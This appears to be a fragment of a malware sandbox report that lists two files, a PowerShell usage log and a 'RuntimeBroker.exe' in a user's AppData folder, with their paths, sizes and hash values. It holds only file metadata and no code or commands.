Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
Size 7.0MB
SHA256 b9b8c55861e863ddf5f138365363508e82629c33fa47eec8ecaaf7abc18a9f90
MD5 0a98a033beaf5ebd4e85eebbb924aec6
SHA1 375367593608b089b14e64d474b1526a7568be15
SHA512 bd1ae88cee7446df4fc83d0efe6d1f8c8226a0145c7f1e3e6228d83a60343ecb9d6110d43b1b1335734da172ed5980822be16922c906def716464bdc04a77621
SSDEEP 49152:VG0oXafs3sgWpOnz/RARzPhZ1ZP6meVWjCWht4dwprYHbJj6T5IKCK5KwupdnMV0:V5aUN9OjeHZfPBP4CpEHGukHejYmEf+
TLSH
T13D765A07ECA518E5C1BED2308A669552BF717C480B3123D72B90F6287F76BE0ADB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download